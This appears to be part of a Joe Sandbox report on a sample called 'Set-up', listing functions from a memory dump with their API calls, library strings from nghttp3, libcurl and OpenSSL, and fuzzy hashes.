Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _stat64$fclosefopen
String ID: ../list/public_suffix_list.dat
API String ID: 1085753941-141370353
Opcode ID: c5c4daaa39a3b53cac719e18a426b5554cf0fbf1419ababfedbc268ff67224ff
Instruction ID: 26ff320a5f8446646b40514f8f5a15643da1890fba281b04f4d92ef88caac392
Opcode Fuzzy Hash: c5c4daaa39a3b53cac719e18a426b5554cf0fbf1419ababfedbc268ff67224ff
Instruction Fuzzy Hash: E3417CB1A083459BCB00CF98D440B5BBBE5ABC5758F15483EE984D7340D778ED4ACB9A

Function 001BE990 Relevance: 8.9, APIs: 2, Strings: 3, Instructions: 102COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(nghttp3_ksl_it_get(&it) == stream,nghttp3_qpack.c,000008ED,?,?,?,?,?,?,?,00000000,00000000,00000000,?,001BEF0E,?), ref: 001BEA23
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(!nghttp3_ksl_it_end(&it),nghttp3_qpack.c,000008EC,?,?,?,?,?,?,?,00000000,00000000,00000000,?,001BEF0E,?), ref: 001BEA38

Strings

nghttp3_ksl_it_get(&it) == stream, xrefs: 001BEA1E
!nghttp3_ksl_it_end(&it), xrefs: 001BEA33
nghttp3_qpack.c, xrefs: 001BEA19, 001BEA2E

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: !nghttp3_ksl_it_end(&it)$nghttp3_ksl_it_get(&it) == stream$nghttp3_qpack.c
API String ID: 1222420520-1964160224
Opcode ID: 0401de43f0d0ee6af377337d4a6eb7e9c6c3521cd269470827f9597ae1386039
Instruction ID: 454ae5d8fc1e42077451d3b656f0ba68bfc014ca82bdec20ba331d87ab661029
Opcode Fuzzy Hash: 0401de43f0d0ee6af377337d4a6eb7e9c6c3521cd269470827f9597ae1386039
Instruction Fuzzy Hash: 4A319F76904309AFD710DE54DC81EDBB7BCFF95768F008519F8985B292E730A944CBA2

Function 00182680 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 98COMMON

Download Yara Rule

APIs

_time64.API-MS-WIN-CRT-TIME-L1-1-0(00000000), ref: 00182771

Strings

set timeouts for state %d; Total % lld, retry %d maxtry %d, xrefs: 00182761
gfff, xrefs: 001826EE
netascii, xrefs: 00182680
Connection time-out, xrefs: 001826CD

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _time64
String ID: Connection time-out$gfff$netascii$set timeouts for state %d; Total % lld, retry %d maxtry %d
API String ID: 1670930206-2395985473
Opcode ID: fe6ae2e29df14b9ff19eec8398ff99f970ff3651fc02c4fe4cd67d752f134272
Instruction ID: 2774c060a9a768104cc7ce7a823725de01c6435deb34f7ef91e6b5d6695e8f5e
Opcode Fuzzy Hash: fe6ae2e29df14b9ff19eec8398ff99f970ff3651fc02c4fe4cd67d752f134272
Instruction Fuzzy Hash: C4212EB1B003005FEB286A2A9C05F2779DAEBD4304F18853DF909CB2D2F675D9108B61

Function 001B6010 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 97COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(veccnt > 0,nghttp3_stream.c,0000033D), ref: 001B6119
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(0 == offset,nghttp3_stream.c,00000349), ref: 001B612E

Strings

veccnt > 0, xrefs: 001B6114
0 == offset, xrefs: 001B6129
nghttp3_stream.c, xrefs: 001B610F, 001B6124

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: 0 == offset$nghttp3_stream.c$veccnt > 0
API String ID: 1222420520-3888743547
Opcode ID: f2a0986be2e88b84bafb3bf257a3e9da41f335021b175134054e6cfee34d84c2
Instruction ID: 92f8ea403f5da4eae51223c6ba77126233eef4059fb1b17d84b2809292052417
Opcode Fuzzy Hash: f2a0986be2e88b84bafb3bf257a3e9da41f335021b175134054e6cfee34d84c2
Instruction Fuzzy Hash: 2231F7715043058FC704EF19D885AAAB7E4FFA8318F05867CF98A57392E735AD41CB91

Function 001B87E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 61COMMON

Download Yara Rule

APIs

_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(n <= balloc->blklen,nghttp3_balloc.c,00000042,?,00000000,?,001B4D5A,00000000,?,000001F0), ref: 001B8861
_assert.API-MS-WIN-CRT-RUNTIME-L1-1-0(((uintptr_t)balloc->buf.last & 0xfu) == 0,nghttp3_balloc.c,00000055,?,000001F0), ref: 001B8873

Strings

((uintptr_t)balloc->buf.last & 0xfu) == 0, xrefs: 001B886E
nghttp3_balloc.c, xrefs: 001B8857, 001B8869
n <= balloc->blklen, xrefs: 001B885C

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _assert
String ID: ((uintptr_t)balloc->buf.last & 0xfu) == 0$n <= balloc->blklen$nghttp3_balloc.c
API String ID: 1222420520-3025919285
Opcode ID: eb74b44776314e085e509e9845d8e90ed4b09730b3424f169415ac1fa9eb0f22
Instruction ID: a576ccc7f2274a9a7769a34666689070c407ddb3f472dbf0d4d679caa27d053c
Opcode Fuzzy Hash: eb74b44776314e085e509e9845d8e90ed4b09730b3424f169415ac1fa9eb0f22
Instruction Fuzzy Hash: 1111CEF6A04702BBC6009F28EC41996B3A8FF55B25F044624F914A22D2DB34E820CBE5

Function 00114810 Relevance: 8.0, APIs: 3, Strings: 2, Instructions: 484COMMON

Download Yara Rule

Strings

application/octet-stream, xrefs: 00114DE3
formdata.c, xrefs: 0011481F, 00114C8D, 00114DEB, 00114F36, 00114FF3, 00115081, 001150AB, 001150E6, 00115116, 00115161, 0011518B, 001151C6, 001151F6

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: application/octet-stream$formdata.c
API String ID: 0-1216067158
Opcode ID: 055bc8df7f1b7687725c21d0029d5519a24980ae9d8821731835812114cf74a4
Instruction ID: f7ee019da668166f3c17e4a1c887bf4a04eaaa555e2f353bb0b70e8541fd6219
Opcode Fuzzy Hash: 055bc8df7f1b7687725c21d0029d5519a24980ae9d8821731835812114cf74a4
Instruction Fuzzy Hash: B102B770A08B409FEB2D9F14D9407A67BE27F95708F19483CE88A4B792D775E8C5CB81

Function 003B46B0 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 324stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 003B46DD

Strings

crypto/asn1/a_mbstr.c, xrefs: 003B479E, 003B47C3, 003B47E8, 003B480D, 003B484C, 003B488B, 003B4933, 003B4A3F, 003B4A9D
ASN1_mbstring_ncopy, xrefs: 003B4797, 003B47BC, 003B47E1, 003B4806, 003B4845, 003B4884, 003B492C, 003B49DE, 003B4A35
maxsize=%ld, xrefs: 003B4899
minsize=%ld, xrefs: 003B485A

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen
String ID: ASN1_mbstring_ncopy$crypto/asn1/a_mbstr.c$maxsize=%ld$minsize=%ld
API String ID: 39653677-2338284442
Opcode ID: e47bbab925e540b508df9f401285c61961df45dfcf0728fc845f74e60e561024
Instruction ID: a711bd78cb1b1750f8bb1b34dbcda80f56f02a30a11203d2317a02f268957a8c
Opcode Fuzzy Hash: e47bbab925e540b508df9f401285c61961df45dfcf0728fc845f74e60e561024
Instruction Fuzzy Hash: 85A1FC75B483016BE7126E149C42FAB7394AB91708F05462CFB899B7C3E7B5DC108A5F

Function 00302530 Relevance: 7.8, APIs: 3, Strings: 2, Instructions: 306COMMON

Download Yara Rule

Strings

crypto/objects/obj_dat.c, xrefs: 00302810
.%lu, xrefs: 00302761

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: .%lu$crypto/objects/obj_dat.c
API String ID: 0-3322715555
Opcode ID: 4a1cbdae02fa92b7e766078ef11dca92ffc92aae7ddca7dfe409fa172c7d6019
Instruction ID: e91cf0f498f35d3bef5274d2531d4aec93a7ac2975334982eff381ecf63b3f5f
Opcode Fuzzy Hash: 4a1cbdae02fa92b7e766078ef11dca92ffc92aae7ddca7dfe409fa172c7d6019
Instruction Fuzzy Hash: 35A12771A0A3015BDB129E258C6872BB7E9AFD1704F19882DFC898B3C1EB71DC04C792

Function 0012E300 Relevance: 7.8, APIs: 1, Strings: 4, Instructions: 283COMMON

Download Yara Rule

Strings

No URL set, xrefs: 0012E393
User-Agent: %s, xrefs: 0012E60C
cannot mix POSTFIELDS with RESUME_FROM, xrefs: 0012E3C1
transfer.c, xrefs: 0012E331, 0012E364, 0012E479, 0012E59A, 0012E5E4, 0012E70D, 0012E729

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID:
String ID: No URL set$User-Agent: %s$cannot mix POSTFIELDS with RESUME_FROM$transfer.c
API String ID: 0-950935550
Opcode ID: b65092d45b5848b33b569b250fc551f10799f90cc392e2750d71f05af0e9a249
Instruction ID: 57679fba3ffc2bddb2ac7ddd30af2bf0bd1022616adafc0ab1316dc82763762d
Opcode Fuzzy Hash: b65092d45b5848b33b569b250fc551f10799f90cc392e2750d71f05af0e9a249
Instruction Fuzzy Hash: E0B1C8B5B00B12ABE7199B74EC45BA6F7A0BF55315F080339E82C96281E7357474CBD1

Function 0026A210 Relevance: 7.7, APIs: 1, Strings: 4, Instructions: 152stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 0026A37F

Strings

ssl/quic/quic_channel.c, xrefs: 0026A2E3, 0026A3BA
ossl_quic_channel_raise_protocol_error_loc, xrefs: 0026A2D9, 0026A3B0
QUIC error code: 0x%llx%s%s%s, reason: "%s", xrefs: 0026A3D5
QUIC error code: 0x%llx%s%s%s (triggered by frame type: 0x%llx%s%s%s), reason: "%s", xrefs: 0026A310

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen
String ID: QUIC error code: 0x%llx%s%s%s (triggered by frame type: 0x%llx%s%s%s), reason: "%s"$QUIC error code: 0x%llx%s%s%s, reason: "%s"$ossl_quic_channel_raise_protocol_error_loc$ssl/quic/quic_channel.c
API String ID: 39653677-1084217658
Opcode ID: 7ac72be18f246bafcb3ed2298b80cf1d6747ac782401693753292469039f6fea
Instruction ID: 7b51d17539189fd3cf901b283151b085a2e7831210da1e9d12cc0f2f2e8165a3
Opcode Fuzzy Hash: 7ac72be18f246bafcb3ed2298b80cf1d6747ac782401693753292469039f6fea
Instruction Fuzzy Hash: 885191B1A14345ABCF00DF68DC42E9B7BE9AF88354F044528FD48A7202E775D9608FA2

Function 00496250 Relevance: 7.7, APIs: 5, Instructions: 151COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,001E0E3B,?,?,00000000,?), ref: 004963E9
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,001E0E3B,?,?,00000000,?), ref: 004963FB

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: _errno
String ID:
API String ID: 2918714741-0
Opcode ID: 14e91697afff0e5bb4c7250993eb4cde2c0e37f3ab3392e821df9ba815fe96fa
Instruction ID: 4e7f960594a485eb950ce6da41005618d2fb08b0d011cdb5a33b98c4e913b7bb
Opcode Fuzzy Hash: 14e91697afff0e5bb4c7250993eb4cde2c0e37f3ab3392e821df9ba815fe96fa
Instruction Fuzzy Hash: 9841C271A043019BDF109F699880A2B7BE8AF94754F1A443EFC49C7301E678EC05869A

Function 002C67F0 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 117stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 002C691C

Strings

err:%lx:%lx:%lx:%lx, xrefs: 002C6933
lib(%lu), xrefs: 002C689A
error:%08lX:%s:%s:%s, xrefs: 002C68FE
reason(%lu), xrefs: 002C68E1

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.000000000083C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767708497.0000000000840000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767735572.0000000000841000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767748531.0000000000845000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_110000_Set-up.jbxd

Similarity

API ID: strlen
String ID: err:%lx:%lx:%lx:%lx$error:%08lX:%s:%s:%s$lib(%lu)$reason(%lu)
API String ID: 39653677-804487489
Opcode ID: 93fd4015da321054b106a8d62c82192ddfa39261fb91b2f8e040256e6f60a2ac
Instruction ID: f441b9aa8676c89f5af054fc01c8784deda528411ece18adc3e7aefeabdd9049
Opcode Fuzzy Hash: 93fd4015da321054b106a8d62c82192ddfa39261fb91b2f8e040256e6f60a2ac
Instruction Fuzzy Hash: 47310BB2A243056BFB206E155C4AFA7769CAB91354F04053CFD4C52193F776AC38C6A2

Function 0045A340 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 106stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,0045ABB9), ref: 0045A34E

Part of subcall function 002EE270: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(crypto/mem_sec.c,00000187,assertion failed: ((ptr - sh.arena) & ((sh.arena_size >> list) - 1)) == 0,crypto/mem_sec.c,00000185,assertion failed: list >= 0 && list < sh.freelist_size,crypto/mem_sec.c,00000184,-00000001), ref: 002EE28D

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,0045ABB9), ref: 0045A446

Strings

crypto/conf/conf_def.c, xrefs: 0045A3B9, 0045A410
.cnf, xrefs: 0045A38E
.conf, xrefs: 0045A376

Memory Dump Source

Source File: 00000000.00000002.1767167567.0000000000111000.00000020.00000001.01000000.00000003.sdmp, Offset: 00110000, based on PE: true

Associated: 00000000.00000002.1767154211.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.000000000063C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767522836.00000000006DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767567457.00000000006DB000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767580643.00000000006DE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767594939.00000000006DF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767608606.00000000006E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1767621658.00000000006E5000.00000002.00000001.01000000.00000003.sdmpDownload File
